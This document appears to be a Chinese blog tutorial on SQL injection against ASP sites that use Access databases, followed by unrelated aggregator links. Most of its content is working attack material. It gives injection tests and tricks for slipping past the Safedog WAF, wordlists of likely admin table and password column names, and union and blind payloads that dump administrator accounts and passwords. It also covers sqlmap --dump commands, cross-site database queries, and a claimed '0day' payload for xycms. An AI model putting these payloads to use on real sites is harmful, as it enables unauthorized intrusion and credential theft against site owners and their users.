waf 安全狗

注入漏洞分析

网站分类

一个是静态
html或者htm 是一种静态的网页,不需要服务器解析的其中脚本 如浏览器 ie chrome等
特点
1 不依赖数据库
2灵活性差 制作 更新 维护麻烦
3交互性较差 在功能方面有较大的限制
4安全,不存在sql注入漏洞

一个是动态
asp aspx php jsp等 由相应的脚本引擎来解释执行,根据指令生成静态网页
1依赖数据库
2灵活性好 维护简单
3交互性好 功能强大
4存在安全风险 可能存在sql注入漏洞

动态的因为交互口多 所以存在很多的安全问题

常见的数据库

Access数据库(小型网站,企业网站 原先比较多的)
是以文件形式存在目录的
放在源码里的 用工具打开(用这两款打开)
打开之后就是一个表

Mssql数据库

sqlserver

常见的数据库
Mysql(这个一般是国内用很多的数据库) oracle (这个是比较大型企业 的用 而且很贵 安全性好) postgresql (国内用的不是很多 日本用的多 国外用的多)
Db2(比oracle还要大一些 很贵的)

网站访问模型

自己先发送一个http 请求头 这个是给web服务器来解析的 然后web服务器 解析到你的请求是什么 就在数据库管理系统里 查找 找到相应的 然后再发给你
漏洞成因
注入漏洞是怎么样形成的?
比如客服要查id为36的页面内容,这样就传给数据库,数据库进行解析 然后传到客户端
但是如果说在id=36的这个位置 被用户来控制,说你想要查什么 就差什么 那在这个位置加入一些语句 那就会进入数据库 在数据库执行了,有没有漏洞就在这个位置 ,就看这个数据库有没有在这个位置进行整个分析,这样就形成了 漏洞注入的问题(说白了就是对语句过滤的不严)

常见的注入流程


那平时为什么要用and1=1 和and 1= 2 来判别
就是说 在后边添加的and1=1是一个正确的逻辑
and 1= 2是一个错误的逻辑 先用and1=1来看这个页面是否正常 然后and1= 2页面反应不正常 这说明什么? 说明咱们写的语句 带到了它的源码的位置上 and1=1 是对的逻辑 所以页面没有报错 然而and1=2 是错的逻辑 所以那个网址它报错了,它的数据库没有过滤掉咱们添加的语句 说明是存在注入的. (waf有安全狗的话 它遇到and就会拦截)或者不用and 用,为什么用斜杠它也会报错 因为它带到数据库里不是一个正常的语句,那-0为什么正常 因为在id后减0 还是原来的 不影响,所以返回的是正常的网址 当然+0也是一样的(我说的是id后面比如id=31,31+0,31-0都是没有影响的)当然乘以1 也是一样的
注入的危害
危害 数据库大的话 拿到里数据库的权限那危害是非常大的 危害就不多说了
ACCESS数据库介绍
微软发布的
优势
就是减少代码量 进行高效复用等
缺陷
就是达到100M性能就会下降等

一般暴库的话 就是conn文件 找到路径就能得到管理员的账号和密码 了 有的数据库是可以设置密码的, 密码可能在 xyconn.asp这种文件会写的
asp连接access数据库代码
打开工具
数据库后缀

*.mdb

常用打开工具
辅臣数据库浏览器
破障浏览器

数据库查询分析.
Access数据库注入原理
漏洞判断
判断注入点

And 1=1
And 1=2
/
-0
可以过掉安全狗的
.0(返回正常)
.1(返回错误)
(有的时候返回错误,是你注入的错误,有的就是数据的返回错误,就是说这种情况也是把你所添加的也带到了数据库里)
判断数据库注入
and exsits(select *from msysobjects>
access
类似于这种就是access的错误
and exsite (select *from sysobjects)>0
sqlsever
判断数据库表
and exists (select * from admin) 这个意思就是 存在查询 admin的表 如果表存在的话就是返回正常 如果不存在返回的就不是正常的,试以下的表 网页正常 就说明这个就存在这个表
access数据库
常见的管理员表明

admin
admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg_user
msg_login
useradmin
user_msg
userlogin
users
member
判断数据库列名
and exists (select admin from admin)(中的admin是可以用下面替换的)
管理员表下常见的管理员列名
admin
admin_user
username
users
usr
user_login
user_name
name
loginame
admin_login
msg_name

密码列名:
password
pwd
pass
user_pass

ACCESS注入
判断字段长度
order by 1 (后边数就是看有多少列 ,如果缩所写的数字大于他本身的列 他就会报错)查的是谁的表的 就是前边的id的表
来判断有多少列,列进行排序
判断
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin 意思就是查询7列 查的是admin这个表
大体意思就是从这个表中查询7列
暴的话就暴非数字类型列上,因为账号密码是非数字类型列
数据库联合查询
.and 1=2 union select 1,2,admin,4,pawword,6,7,8,9 from admin
(位置上不一定是3,5的位置 放在那里都可以暴出来)
其他的
判断账号密码的长度

and(select len(admin)from admin)=5 如果返回正常说明管理员账号的长度为5
意思就是判断admin表下得admin列下的数据是否等于5个 就是管理员表名的长度
and(select len(password)from admin)=5 就是判断密码的用户名的长度 数字5可以替换

这个就是判断管理员的用户名
and (select top 1 asc(mid(admin,3,1))from admin_user)=数字
意思就是admin就是用户名 3就是第三个用户名的字母 1 就是第一列 后边用数字来判断第三个密码是啥
把admin换成password 就是密码 3就是密码的第三个密码的字母

这里简单说下sqlmap
sqlmap.py -u "目标地址"回车让它判断是否有注入
sqlmap.py -u “目标地址” --tables 列一下它的表
sqlmap.py -u “目标地址” --colums -T admin 意思就是把admin表列明
sqlmap.py -u “目标地址” --T admin -C admin,password --dump 列数据
整体的用法

跨库查询(意思就是通过A站来查B站的数据信息)要满足的条件 .要知道B站的绝对路径
B站的表名 B站的列名
条件 同服务器下的站点有注入,知道对方站的数据库绝对路径,知道对方数据库表,表中的字段名可以用这个方法来跨库查询
绝对路径 (D:/wwwroot/…*.mdb .asa.asp)
主要是这个绝对路径
类似于这些写法
就是用了A站的在注入点 然后去查B站的账户密码

挖掘0day
xycms
通杀0day
union select 1,admin,3,4,password,6,7 from admin_user

Access数据库,以及一些其他的库。相关推荐

  1. 利用Access数据库搭建Capture_CIS元件封装库详细教程

    1.前言 硬件工程师在画电路图时,需要使用大量的元器件和查阅相关资料,大量元器件的symbol.footprint以及datasheet等数据如管理不当,会很容易造成混乱,给使用带来极大的不便.利用A ...

  2. 计算机基础access数据库操作题,2021年3月全国计算机等级考试二级Access数据库程序设计题库及答案讲解...

    原标题:2021年3月全国计算机等级考试二级Access数据库程序设计题库及答案讲解 资料来源:学盛通学习网547所大学考研专业课(历年真题及模拟题可在线作答,系统自动评分,出答案及解析) 本题库是详 ...

  3. 500多条汉字常见错别字题库ACCESS数据库

    之前发过一个叫<汉字英雄100个最容易错误的汉字>的ACCESS数据,严格的说这个数据库不算题库,因为没有选项:而今天的这个<汉字常见错别字题库ACCESS数据库>却是有选项的 ...

  4. 易语言外部数据库MySQL支持库Access数据库Sqlite数据应用

    语言虽然有自己的数据库, 但易数据库只是以简单的.类似表格的形式组织数据信息,是一个小型数据库管理系统.有时编程中必须使用其它数据库.易语言支持以ODBC方式和ADO方式操作外部数据库. 一.ODBC ...

  5. access select max_二级Access数据库题库

    点击蓝字软件小客栈关注我们 二级Access数据库题库 题库大小:266M 遇到问题咨询QQ: 3299846689 微信:Ahdj22 温馨提示:安装软件前退出360等杀毒软件 win10关闭Win ...

  6. 高中会考access数据库_高中信息技术会考数据库模块操作题题库

    高中信息技术会考数据库模块操作题题库 . . 高中信息技术会考数据库模块操作题题库 第1题 在"Y:\4576"下新建一个名称为"书籍销售管理.mdb "的Ac ...

  7. Access数据库防暴库技术

    引子:昨天和animator试验了一下,把data.mdb文件改名为data.asp文件后放在wwwroot目录里.然后在IE中输入data.asp路径后,发现IE显示一片空白,右键->察看源文 ...

  8. 如何使用C++ Builder 6.0连接Access数据库

    本文假定所需连接的Access数据库为db_restaurant,如何连接db_restaurant,现在将拉开帷幕. 首先,通过使用"File→New→Data Module"创 ...

  9. python连接access数据库查询并打印出来_Python连接Access和读取Access数据库的例子

    其实这个Python连接Access和读取Access数据库的例子是写给自己看的,网上已经有Python读取Access的例子了,我这个也是参考以上制作的. 而这个例子应该是只能在windows使用吧 ...

  10. 长期使用中型Access数据库的一点经验

    Access数据库在用的过程中, 经常不断的进行删除和增加记录的操作,会出现以下问题: 1. 可能会使Update语句更新失败, 明明一条记录存在, 也可以select到,但在用Update时出现找不 ...

最新文章

  1. 博士Nature发文:研究生阶段,4点经验助你学术“独立”!
  2. 如何让SiteMapPath使用指定路径指定名称的sitemap文件。
  3. 通过MyBatis查找一张表的数据,某些字段的值为空
  4. 【ArcGIS微课1000例】0015:ArcGIS如何创建/自定义快捷键?
  5. 信息学奥赛一本通(1135:配对碱基链)
  6. 实时查询系统架构:spark流式处理+HBase+solr/ES查询
  7. C# 创建HttpServer
  8. 40163 php,微信授权登录code 40163
  9. 解读应聘阿里的注意事项
  10. python+selenium自动化软件测试(第1章)
  11. 写不出好的策划方案?大神手把手教你写策划
  12. Linux版本Java卸载
  13. 如果不能时刻保持学习的心态,那么你将被 IT 甩回开普乐星去
  14. java 推广海报_使用java画一张海报
  15. Java(三)对象类型的转换和多态机制
  16. Linux运维交流学习
  17. 以给定值x为基准将单链表分割为两部分,所有小于x的结点都排在大于或等于x的结点之前。
  18. c语言函数 real,C ++中的real()函数
  19. 免费赚豆任务之——华夏姻缘网
  20. 学习lucene.net的好网站(不断添加)

热门文章

  1. 美文:远方究竟有多远
  2. 关联规则挖掘(Apriori算法)
  3. 基于Javafx制作的随机抽签软件
  4. 百度地图 实现 热力图
  5. 26岁,2020 - 观《人生七年》
  6. Unity-瓦片地图详解
  7. XPath Extractor的使用
  8. python中根据视频帧生成视频,保存为mp4格式
  9. 2021年春季 PAT乙级
  10. 描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求。